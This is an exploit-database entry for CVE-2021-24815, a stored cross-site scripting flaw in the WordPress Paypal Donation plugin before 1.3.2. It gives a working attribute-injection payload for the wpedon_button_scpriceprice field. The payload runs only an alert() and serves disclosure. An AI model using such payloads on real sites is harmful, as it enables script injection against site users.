Sploitus

Exploit for Paypal Donation < 1.3.2 - Admin+ Stored Cross-Site Scripting

CVE-2021-24815

wpexploit · 2021-10-18

Exploit Code

MARKDOWN4 lines
## https://sploitus.com/exploit?id=WPEX-ID:08F4EBF5-6BBE-4FB0-A9D2-C8A994AFE39B
Create/Edit a Button and put the following payload in the Amount Menu Name field (wpedon_button_scpriceprice parameter): " autofocus=autofocus onfocus=alert(/XSS/) e=

The XSS will trigger when editing the affected Button